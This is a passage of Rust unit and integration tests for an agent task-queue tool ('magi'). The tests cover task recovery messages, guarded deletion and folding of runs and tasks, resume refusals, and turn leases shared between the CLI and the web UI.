22885    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22886        use crate::queue::HoldSource;
22887        let mut task = Task::new(
22888            "Recovery".into(),
22889            "Inspect".into(),
22890            PathBuf::from("/repo"),
22891            Source::Human,
22892        );
22893        assert!(task_recovery(&task).is_none());
22894        task.hold_manual(Some("Operator paused".into()));
22895        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22896        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22897        let text = task_recovery(&task).unwrap();
22898        assert!(text.contains("restores held"));
22899        assert!(text.contains("clears its dependency references"));
22900        task.hold_source = Some(HoldSource::Machine);
22901        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22902        task.mark_disk_capacity();
22903        let view = TaskView::with_inventory(
22904            task.clone(),
22905            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22906        );
22907        let json = serde_json::to_value(view).unwrap();
22908        assert_eq!(json["block_reason"], "Decision needed");
22909        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22910        let recovery = json["recovery"].as_str().unwrap();
22911        assert!(recovery.contains("not current capacity"));
22912        assert!(recovery.contains("triage rechecks"));
22913        assert_eq!(json["blockers"][0]["state"], "missing");
22914        task.blocked_from = Some(TaskStatus::Queued);
22915        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22916        task.blocked_from = None;
22917        assert!(task_recovery(&task).unwrap().contains("restores held"));
22918    }
22919
22920    #[tokio::test]
22921    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22922        let fx = Fixture::start().await;
22923        let q = fx.queue();
22924        let mk = |title: &str| {
22925            Task::new(
22926                title.to_owned(),
22927                "Instruction".to_owned(),
22928                PathBuf::from("/repo"),
22929                Source::Human,
22930            )
22931        };
22932        let mut root = mk("root");
22933        root.hold_manual(Some("waiting".to_owned()));
22934        q.put(&mut root).unwrap();
22935        let mut mid = mk("mid");
22936        mid.block(vec![root.id.clone()], None);
22937        q.put(&mut mid).unwrap();
22938        let mut leaf = mk("leaf");
22939        leaf.block(vec![mid.id.clone()], None);
22940        q.put(&mut leaf).unwrap();
22941
22942        let list = fx.get("/api/queue").await.json();
22943        let find = |id: &str| {
22944            list.as_array()
22945                .unwrap()
22946                .iter()
22947                .find(|v| v["id"] == id)
22948                .unwrap()
22949                .clone()
22950        };
22951        let leaf_view = find(&leaf.id);
22952        assert_eq!(
22953            leaf_view["waits_on"],
22954            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22955        );
22956        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22957        assert_eq!(
22958            find(&mid.id)["waits_on"],
22959            serde_json::json!([format!("{} (held)", root.short())])
22960        );
22961        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22962    }
22963
22964    #[tokio::test]
22965    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22966        let fx = Fixture::start().await;
22967        let q = fx.queue();
22968
22969        // 1. A queued task with runs attached can be deleted.
22970        let mut t1 = Task::new(
22971            "Task 1".to_owned(),
22972            "Instruction 1".to_owned(),
22973            PathBuf::from("/repo"),
22974            Source::Human,
22975        );
22976        let run_id = "20260901-000000-r111";
22977        t1.runs.push(run_id.to_owned());
22978        write_run(&fx.runs(), run_id, RunStatus::Merged);
22979        q.put(&mut t1).expect("put t1");
22980
22981        // Delete by short id
22982        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22983        assert_eq!(res.status, 204);
22984        assert!(res.body.is_empty(), "204 No Content has no body");
22985        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22986        assert!(
22987            fx.runs().join(run_id).exists(),
22988            "run directory must not be deleted when its task is deleted"
22989        );
22990
22991        // 2. A task a live daemon is running is refused with 409.
22992        let mut t2 = Task::new(
22993            "Task 2".to_owned(),
22994            "Instruction 2".to_owned(),
22995            PathBuf::from("/repo"),
22996            Source::Human,
22997        );
22998        t2.status = TaskStatus::Running;
22999        q.put(&mut t2).expect("put t2");
23000        let mut beat = crate::daemon::Status::new();
23001        beat.current = vec![crate::daemon::Current {
23002            worker: None,
23003            task: t2.id.clone(),
23004            run: "20260901-000000-r222".to_owned(),
23005        }];
23006        beat.updated_at = jiff::Timestamp::now();
23007        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23008            .expect("publish a heartbeat");
23009        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23010        assert_eq!(res.status, 409);
23011        assert!(
23012            res.json()["error"]
23013                .as_str()
23014                .unwrap()
23015                .contains("live daemon")
23016        );
23017        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23018
23019        // 3. The same `running` status and an orphaned lock, with no daemon
23020        // behind either, is a leftover and deletable. Before this the phone
23021        // refused it for good: the status never changes on its own and
23022        // nothing drops a lock whose process is gone.
23023        // The daemon is killed: the file stays, the heartbeat stops.
23024        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23025        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23026            .expect("leave a stale heartbeat");
23027        let mut t3 = Task::new(
23028            "Task 3".to_owned(),
23029            "Instruction 3".to_owned(),
23030            PathBuf::from("/repo"),
23031            Source::Human,
23032        );
23033        t3.status = TaskStatus::Running;
23034        q.put(&mut t3).expect("put t3");
23035        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23036        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23037        assert_eq!(res.status, 204);
23038        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23039        assert!(
23040            q.claim(&t3.id).is_ok(),
23041            "the stale lock went with it, so the id is claimable again"
23042        );
23043
23044        // 4. Missing id returns 404
23045        let res = fx.delete("/api/queue/nonexistent").await;
23046        assert_eq!(res.status, 404);
23047    }
23048
23049    #[tokio::test]
23050    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23051        let fx = Fixture::start().await;
23052        let runs = fx.runs();
23053
23054        // 1. Finished and folded run can be deleted along with artifacts
23055        let run_id = "20260901-000000-fold";
23056        let mut state = RunState::new(
23057            PathBuf::from("/repo"),
23058            "main".to_owned(),
23059            "abc".to_owned(),
23060            "instruction".to_owned(),
23061            Config::default(),
23062        );
23063        state.id = run_id.to_owned();
23064        state.status = RunStatus::Merged;
23065        state.candidates.push(crate::run::Candidate {
23066            index: 0,
23067            label: 'A',
23068            agent: "a".to_owned(),
23069            branch: "b".to_owned(),
23070            worktree: PathBuf::from("/w"),
23071            summary: String::new(),
23072            stat: String::new(),
23073            files: 1,
23074            commits: 1,
23075            empty: false,
23076            failed: None,
23077            verified_noop: None,
23078            duration_ms: 0,
23079            folded: true,
23080        });
23081        let dir = runs.join(run_id);
23082        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23083        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23084            .expect("write artifact");
23085        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23086            .expect("write run.json");
23087
23088        // Delete by short id
23089        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23090        assert_eq!(res.status, 204);
23091        assert!(res.body.is_empty(), "204 has no body");
23092        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23093
23094        // 2. A run a live daemon is working on is refused with 409. The
23095        // heartbeat is what makes it refusable: an unfinished run with no
23096        // daemon behind it is a leftover from a killed process, and case 1
23097        // above would otherwise be impossible to tell apart from this one.
23098        let run_running = "20260901-000000-rung";
23099        write_run(&runs, run_running, RunStatus::Prep);
23100        let mut beat = crate::daemon::Status::new();
23101        beat.current = vec![crate::daemon::Current {
23102            worker: None,
23103            task: "20260901-000000-task".to_owned(),
23104            run: run_running.to_owned(),
23105        }];
23106        beat.updated_at = jiff::Timestamp::now();
23107        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23108            .expect("publish a heartbeat");
23109        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23110        assert_eq!(res.status, 409);
23111        assert!(
23112            res.json()["error"]
23113                .as_str()
23114                .unwrap()
23115                .contains("live daemon"),
23116            "the refusal must say who is holding it"
23117        );
23118        assert!(
23119            runs.join(run_running).exists(),
23120            "a run in flight keeps its directory"
23121        );
23122
23123        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23124        let run_unfolded = "20260901-000000-unfd";
23125        let mut state2 = RunState::new(
23126            PathBuf::from("/repo"),
23127            "main".to_owned(),
23128            "abc".to_owned(),
23129            "instruction".to_owned(),
23130            Config::default(),
23131        );
23132        state2.id = run_unfolded.to_owned();
23133        state2.status = RunStatus::Ready;
23134        state2.candidates.push(crate::run::Candidate {
23135            index: 0,
23136            label: 'A',
23137            agent: "a".to_owned(),
23138            branch: "b".to_owned(),
23139            worktree: PathBuf::from("/w"),
23140            summary: String::new(),
23141            stat: String::new(),
23142            files: 1,
23143            commits: 1,
23144            empty: false,
23145            failed: None,
23146            verified_noop: None,
23147            duration_ms: 0,
23148            folded: false,
23149        });
23150        let dir2 = runs.join(run_unfolded);
23151        std::fs::create_dir_all(&dir2).expect("create dir2");
23152        std::fs::write(
23153            dir2.join("run.json"),
23154            serde_json::to_string(&state2).unwrap(),
23155        )
23156        .expect("write run.json");
23157
23158        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23159        assert_eq!(res.status, 409);
23160        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23161        assert!(dir2.exists(), "unfolded run directory is kept");
23162
23163        // 4. Missing id returns 404
23164        let res = fx.delete("/api/runs/nonexistent").await;
23165        assert_eq!(res.status, 404);
23166    }
23167
23168    /// The queue tiles on the Stats tab must render even on a home with no
23169    /// runs at all: queue state is not derived from run history, so hiding
23170    /// the whole dashboard body behind "no runs yet" would drop the one
23171    /// thing this tab promises unconditionally (queued/running/held/done).
23172    /// A DOM-level test would need a browser this suite does not have, so
23173    /// this pins the same invariant textually: `renderStatsQueue` is called
23174    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23175    /// block that gates the run-derived panels.
23176    #[test]
23177    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23178        let start = APP_JS
23179            .find("function renderStats() {")
23180            .expect("renderStats");
23181        let end = start
23182            + APP_JS[start..]
23183                .find("function statsTile(")
23184                .expect("the next top-level function");
23185        let body = &APP_JS[start..end];
23186
23187        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23188        let gate_end = gate_start
23189            + body[gate_start..]
23190                .find("}\n  renderStatsQueue")
23191                .expect("the gate's own closing brace, right before the unconditional call");
23192        let gated = &body[gate_start..gate_end];
23193
23194        assert_eq!(
23195            body.matches("renderStatsQueue(").count(),
23196            1,
23197            "renderStats must call renderStatsQueue exactly once: {body}"
23198        );
23199        assert!(
23200            !gated.contains("renderStatsQueue"),
23201            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23202             run-derived panels on an empty run history - the queue panel has to render \
23203             regardless: {gated}"
23204        );
23205    }
23206
23207    #[test]
23208    fn web_ui_delete_contract_in_front_end() {
23209        // 1. API block has both delete endpoints
23210        assert!(APP_JS.contains("deleteRun:"));
23211        assert!(APP_JS.contains("deleteTask:"));
23212
23213        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23214        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23215            ..APP_JS.find("function renderRuns").unwrap()];
23216        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23217
23218        // 3. Run detail has delete entry and reasons
23219        assert!(APP_JS.contains("renderRunDelete"));
23220        assert!(APP_JS.contains("runDeleteReason"));
23221        assert!(APP_JS.contains("magi fold"));
23222        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23223
23224        // 4. Two-step delete arming and focus on Cancel
23225        assert!(APP_JS.contains("cancel.focus"));
23226        assert!(APP_JS.contains("armedRunDelete"));
23227        assert!(APP_JS.contains("renderTaskDeleteBox"));
23228        assert!(APP_JS.contains("armed${cap(key)}"));
23229
23230        // 5. Running task has disabled delete
23231        assert!(APP_JS.contains("disabled: status === \"running\""));
23232    }
23233
23234    /// Every element a run card's updater reaches for must be in the `refs`
23235    /// the builder handed it.
23236    ///
23237    /// `createRunCard` builds its elements, appends them to the card, and then
23238    /// lists them again in `row.refs`. That second list is the one the updater
23239    /// uses, and nothing connects the two - an element can be built, appended
23240    /// and rendered, and still be missing from `refs`. `superseded` was, for
23241    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23242    /// exception took `syncList` with it, and the deck showed
23243    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
23244    /// line is computed before the cards, which is why the failure looked like
23245    /// a server that had lost its runs rather than a front end that had
23246    /// stopped rendering them.
23247    ///
23248    /// A `cargo test` cannot execute the front end, so this reads the two
23249    /// halves out of the source and compares them as sets. It is not a check
23250    /// on the wording of either list: adding an element, renaming one, or
23251    /// reordering them all keeps this passing, and only using one the builder
23252    /// never published fails it.
23253    #[test]
23254    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23255        let build = APP_JS
23256            .find("function createRunCard")
23257            .expect("createRunCard exists");
23258        let update = APP_JS
23259            .find("function updateRunCard")
23260            .expect("updateRunCard exists");
23261        let end = APP_JS
23262            .find("function renderRuns")
23263            .expect("renderRuns exists");
23264
23265        // The builder's published set: the object literal assigned to `refs`.
23266        let builder = &APP_JS[build..update];
23267        let open = builder.find("refs = {").expect("createRunCard sets refs");
23268        let literal = &builder[open + "refs = {".len()..];
23269        let close = literal.find('}').expect("the refs literal is closed");
23270        let published: HashSet<&str> = literal[..close]
23271            .split(',')
23272            // `name` and `name: value` both bind `name`.
23273            .filter_map(|entry| entry.split(':').next())
23274            .map(str::trim)
23275            .filter(|name| !name.is_empty())
23276            .collect();
23277        assert!(
23278            published.len() > 5,
23279            "the refs literal did not parse into names: {published:?}"
23280        );
23281
23282        // What the updaters reach for: every `r.<name>`, where `r` is the
23283        // `const r = row.refs` alias both functions open with.
23284        let mut used: Vec<&str> = Vec::new();
23285        let updaters = &APP_JS[update..end];
23286        for (at, _) in updaters.match_indices("r.") {
23287            // `r` must be the whole identifier, not the tail of another one
23288            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23289            let before = updaters[..at].chars().next_back();
23290            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23291                continue;
23292            }
23293            let rest = &updaters[at + 2..];
23294            let len = rest
23295                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23296                .unwrap_or(rest.len());
23297            if len > 0 {
23298                used.push(&rest[..len]);
23299            }
23300        }
23301        assert!(
23302            used.len() > 5,
23303            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23304        );
23305
23306        let missing: Vec<&str> = used
23307            .iter()
23308            .copied()
23309            .filter(|name| !published.contains(name))
23310            .collect();
23311        assert!(
23312            missing.is_empty(),
23313            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23314             never put in `refs` - every card will throw and the list will \
23315             render empty under a count line that says otherwise. Published: \
23316             {published:?}"
23317        );
23318    }
23319
23320    #[tokio::test]
23321    async fn folding_from_the_phone_reports_what_it_removed() {
23322        let fx = Fixture::start().await;
23323        let runs = fx.runs();
23324
23325        // A run with no candidates has nothing to fold, which is a 200 with an
23326        // honest count rather than an error: the operator asked for the trees
23327        // to be gone and they are.
23328        let id = "20260901-000000-fold";
23329        write_run(&runs, id, RunStatus::Stalled);
23330        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23331        assert_eq!(res.status, 200);
23332        assert_eq!(res.json()["removed_count"], 0);
23333        assert_eq!(res.json()["run"], id);
23334        assert!(
23335            runs.join(id).exists(),
23336            "a fold keeps the run's record; only the worktrees go"
23337        );
23338    }
23339
23340    #[tokio::test]
23341    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23342        let fx = Fixture::start().await;
23343        let runs = fx.runs();
23344        let wt = fx.home.path().join("wt").join("magi").join("dead");
23345        let id = "20260901-000000-dead";
23346        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23347        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23348        std::fs::create_dir_all(&wt).expect("worktree dir");
23349
23350        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23351        assert_eq!(res.status, 200, "{}", res.body);
23352        assert!(
23353            res.json()["removed_count"].as_u64().unwrap() > 0,
23354            "the worktree this build could not read a state for still went"
23355        );
23356        assert!(
23357            !runs.join(id).exists(),
23358            "an unreadable run has no candidate list to fold selectively, so \
23359             the whole record goes - same as `magi fold` on the CLI"
23360        );
23361    }
23362
23363    #[tokio::test]
23364    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23365        let fx = Fixture::start().await;
23366        let runs = fx.runs();
23367        let wt = fx.home.path().join("wt").join("magi").join("gone");
23368        let id = "20260901-000000-gone";
23369        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23370        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23371        std::fs::create_dir_all(&wt).expect("worktree dir");
23372
23373        let res = fx.delete(&format!("/api/runs/{id}")).await;
23374        assert_eq!(res.status, 204, "{}", res.body);
23375        assert!(!runs.join(id).exists(), "the broken record is gone");
23376        assert!(!wt.exists(), "its worktree is gone too");
23377    }
23378
23379    #[tokio::test]
23380    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23381        let fx = Fixture::start().await;
23382        let runs = fx.runs();
23383        let id = "20260901-000000-live";
23384        write_run(&runs, id, RunStatus::Implementing);
23385
23386        let mut beat = crate::daemon::Status::new();
23387        beat.current = vec![crate::daemon::Current {
23388            worker: None,
23389            task: "20260901-000000-task".to_owned(),
23390            run: id.to_owned(),
23391        }];
23392        beat.updated_at = jiff::Timestamp::now();
23393        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23394            .expect("publish a heartbeat");
23395
23396        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23397        assert_eq!(res.status, 409);
23398        assert!(
23399            res.json()["error"]
23400                .as_str()
23401                .unwrap()
23402                .contains("live daemon"),
23403            "folding under a running agent would pull its worktree away"
23404        );
23405    }
23406
23407    #[tokio::test]
23408    async fn fold_merged_requires_a_pr_url() {
23409        let fx = Fixture::start().await;
23410        let runs = fx.runs();
23411        let id = "20260901-000000-nourl";
23412        write_run(&runs, id, RunStatus::Blocked);
23413
23414        let res = fx
23415            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23416            .await;
23417        assert_eq!(res.status, 400, "{}", res.body);
23418
23419        let blank = fx
23420            .post(
23421                &format!("/api/runs/{id}/fold-merged"),
23422                Some(r#"{"pr_url":"   "}"#),
23423            )
23424            .await;
23425        assert_eq!(blank.status, 400, "{}", blank.body);
23426    }
23427
23428    #[tokio::test]
23429    async fn fold_merged_is_404_for_an_unknown_run() {
23430        let fx = Fixture::start().await;
23431        let res = fx
23432            .post(
23433                "/api/runs/nosuchrun/fold-merged",
23434                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23435            )
23436            .await;
23437        assert_eq!(res.status, 404, "{}", res.body);
23438    }
23439
23440    #[tokio::test]
23441    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23442        let fx = Fixture::start().await;
23443        let runs = fx.runs();
23444        let id = "20260901-000000-livemerge";
23445        write_run(&runs, id, RunStatus::Blocked);
23446
23447        let mut beat = crate::daemon::Status::new();
23448        beat.current = vec![crate::daemon::Current {
23449            worker: None,
23450            task: "20260901-000000-task".to_owned(),
23451            run: id.to_owned(),
23452        }];
23453        beat.updated_at = jiff::Timestamp::now();
23454        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23455            .expect("publish a heartbeat");
23456
23457        let res = fx
23458            .post(
23459                &format!("/api/runs/{id}/fold-merged"),
23460                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23461            )
23462            .await;
23463        assert_eq!(res.status, 409, "{}", res.body);
23464        assert!(
23465            res.json()["error"]
23466                .as_str()
23467                .unwrap()
23468                .contains("live daemon"),
23469            "correcting a run's merge underneath a running agent would race \
23470             whatever it is doing to the same `status`/`merge` fields"
23471        );
23472    }
23473
23474    /// A pull request `gh` cannot even ask about (no such remote, no such
23475    /// repository) must never be recorded as a merge on a guess - the same
23476    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23477    /// command line, reached here through the phone route instead.
23478    #[tokio::test]
23479    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23480        let fx = Fixture::start().await;
23481        let runs = fx.runs();
23482        let id = "20260901-000000-unconfirmed";
23483        write_run(&runs, id, RunStatus::Blocked);
23484
23485        let res = fx
23486            .post(
23487                &format!("/api/runs/{id}/fold-merged"),
23488                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23489            )
23490            .await;
23491        assert_eq!(res.status, 400, "{}", res.body);
23492        assert_eq!(
23493            read_run(&runs, id).unwrap().status,
23494            RunStatus::Blocked,
23495            "a pull request that could not be confirmed merged must leave \
23496             the run exactly where it was"
23497        );
23498    }
23499
23500    #[tokio::test]
23501    async fn terminal_runs_cannot_be_resumed() {
23502        let fx = Fixture::start().await;
23503        let runs = fx.runs();
23504
23505        for (status, word) in [
23506            (RunStatus::Merged, "merged"),
23507            (RunStatus::Ready, "ready"),
23508            (RunStatus::Failed, "failed"),
23509        ] {
23510            let id = format!("20260901-000000-{}", &word[..4]);
23511            write_run(&runs, &id, status);
23512            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23513            assert_eq!(res.status, 409, "{word} must not be resumable");
23514        }
23515    }
23516
23517    #[tokio::test]
23518    async fn resume_is_refused_while_the_loop_is_running() {
23519        let fx = Fixture::start().await;
23520        let runs = fx.runs();
23521        let stalled = "20260901-000000-stal";
23522        write_run(&runs, stalled, RunStatus::Stalled);
23523
23524        // The loop is busy with a *different* run, and that is still a
23525        // refusal: a manual resume must never race whatever the loop itself
23526        // is already driving, whether that is one run or several.
23527        let mut beat = crate::daemon::Status::new();
23528        beat.current = vec![crate::daemon::Current {
23529            worker: None,
23530            task: "20260901-000000-task".to_owned(),
23531            run: "20260901-000000-othr".to_owned(),
23532        }];
23533        beat.updated_at = jiff::Timestamp::now();
23534        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23535            .expect("publish a heartbeat");
23536
23537        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23538        assert_eq!(res.status, 409);
23539        let err = res.json()["error"].as_str().unwrap().to_owned();
23540        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23541        assert!(err.contains("stop it first"), "{err}");
23542    }
23543
23544    #[test]
23545    fn a_run_cannot_be_resumed_twice_at_once() {
23546        let home = TempDir::new().expect("temp home");
23547        let ui = Ui::new(
23548            Queue::at(home.path().join("queue")),
23549            Questions::at(home.path().join("questions")),
23550            Talks::at(home.path().join("talks")),
23551            home.path().join("runs"),
23552            home.path().to_path_buf(),
23553            PathBuf::from("/repo"),
23554        )
23555        .with_worktrees_root(home.path().join("wt"));
23556        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23557        let again = ui.begin_resume("20260901-000000-once");
23558        assert!(again.is_err(), "a second tap must not start a second graph");
23559        drop(first);
23560        assert!(
23561            ui.begin_resume("20260901-000000-once").is_ok(),
23562            "and the claim is released when the attempt ends"
23563        );
23564    }
23565
23566    #[test]
23567    fn talk_thinking_tracks_only_its_held_turn_claim() {
23568        let home = TempDir::new().expect("temp home");
23569        let ui = Ui::new(
23570            Queue::at(home.path().join("queue")),
23571            Questions::at(home.path().join("questions")),
23572            Talks::at(home.path().join("talks")),
23573            home.path().join("runs"),
23574            home.path().to_path_buf(),
23575            PathBuf::from("/repo"),
23576        )
23577        .with_worktrees_root(home.path().join("wt"));
23578        let id = "20260901-000000-once";
23579
23580        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23581        let turn = ui.begin_talk_turn(id).expect("claim turn");
23582        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23583        assert!(
23584            !ui.is_thinking("20260901-000000-other"),
23585            "one talk's turn does not make another talk busy"
23586        );
23587        drop(turn);
23588        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23589    }
23590
23591    #[test]
23592    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23593        let home = TempDir::new().expect("temp home");
23594        let talks = Talks::at(home.path().join("talks"));
23595        let ui = Ui::new(
23596            Queue::at(home.path().join("queue")),
23597            Questions::at(home.path().join("questions")),
23598            talks.clone(),
23599            home.path().join("runs"),
23600            home.path().to_path_buf(),
23601            PathBuf::from("/repo"),
23602        )
23603        .with_worktrees_root(home.path().join("wt"));
23604        let id = "20260901-000000-cross";
23605
23606        let other = Talks::at(home.path().join("talks"))
23607            .claim_turn(id)
23608            .expect("claim")
23609            .expect("the other process wins");
23610        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23611        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23612        assert!(
23613            matches!(
23614                ui.begin_talk_turn_unless_pending(id).expect("start"),
23615                TalkTurnStart::Foreign
23616            ),
23617            "a foreign holder is refused, not queued behind"
23618        );
23619        assert!(
23620            !ui.talk_turns.lock().unwrap().live.contains(id),
23621            "a refused claim leaves no in-process entry behind"
23622        );
23623        drop(other);
23624        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23625        assert!(talks.turn_held(id), "the web turn holds the lease");
23626        drop(turn);
23627        assert!(
23628            !talks.turn_held(id),
23629            "dropping the guard releases the lease"
23630        );
23631    }
23632
23633    fn consult_question(ui: &Ui) -> Question {
23634        let mut q = Question::new(
23635            "20260901-000000-consult".to_owned(),
23636            "implement".to_owned(),
23637            "impl-A".to_owned(),
23638            "Which backend?".to_owned(),
23639            String::new(),
23640            vec!["SQLite".to_owned(), "Redis".to_owned()],
23641        );
23642        ui.questions.put(&mut q).expect("question");
23643        q
23644    }
23645
23646    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23647        (
23648            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23649            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23650        )
23651    }
23652
23653    #[tokio::test]
23654    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23655        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23656        let q = consult_question(&ui);
23657        let talk = ui.talks.get(&id).expect("talk");
23658        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23659        let before = consult_snapshot(&ui, &q, &id);
23660        let cli_talks = Talks::at(ui.home.join("talks"));
23661        assert_eq!(
23662            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23663                .await
23664                .expect("CLI starter"),
23665            crate::consult::Started::Busy
23666        );
23667        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23668        assert!(ui.is_thinking(&id));
23669        drop(guard);
23670        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23671    }
23672
23673    #[tokio::test]
23674    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23675        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23676        let q = consult_question(&ui);
23677        let talk = ui.talks.get(&id).expect("talk");
23678        let started = tmp.path().join("started");
23679        let release = tmp.path().join("release");
23680        let script = tmp.path().join("consult-agent.sh");
23681        std::fs::write(
23682            &script,
23683            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23684        )
23685        .expect("script");
23686        let mut cfg = stub_config();
23687        cfg.agents[0].id = "mock".to_owned();
23688        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23689        cfg.agents[0].env = std::collections::BTreeMap::from([
23690            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23691            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23692        ]);
23693        let questions = ui.questions.clone();
23694        let cli_talks = Talks::at(ui.home.join("talks"));
23695        let cli_q = q.clone();
23696        let turn = tokio::spawn(async move {
23697            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23698        });
23699        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23700            while !started.exists() {
23701                tokio::time::sleep(Duration::from_millis(10)).await;
23702            }
23703        })
23704        .await;
23705        // Always release and join the agent, even if readiness or the web
23706        // request fails, so a failed assertion cannot leave a turn behind.
23707        let refusal = if ready.is_ok() {
23708            let before = consult_snapshot(&ui, &q, &id);
23709            let result = talk_say(
23710                State(Arc::clone(&ui)),
23711                Path(id.clone()),
23712                Ok(Json(NewTalkTurn {
23713                    reply_to: None,
23714                    text: "another message".to_owned(),
23715                    attachments: Vec::new(),
23716                })),
23717            )
23718            .await;
23719            Some((result, before, consult_snapshot(&ui, &q, &id)))
23720        } else {
23721            None
23722        };
23723        std::fs::write(&release, "").expect("release agent");
23724        let done = turn.await.expect("join CLI turn");
23725        ready.expect("agent started before deadline");
23726        let (result, before, after) = refusal.expect("web request");
23727        let error = result.expect_err("web must refuse the CLI's turn");
23728        assert_eq!(error.status, StatusCode::CONFLICT);
23729        assert!(error.message.contains("a turn is already running"));
23730        assert_eq!(
23731            after, before,
23732            "refusal preserves question, draft and history"
23733        );
23734        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23735        let guard = ui
23736            .begin_talk_turn(&id)
23737            .expect("web claim")
23738            .expect("free again");
23739        drop(guard);
23740    }
23741
23742    #[test]
23743    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
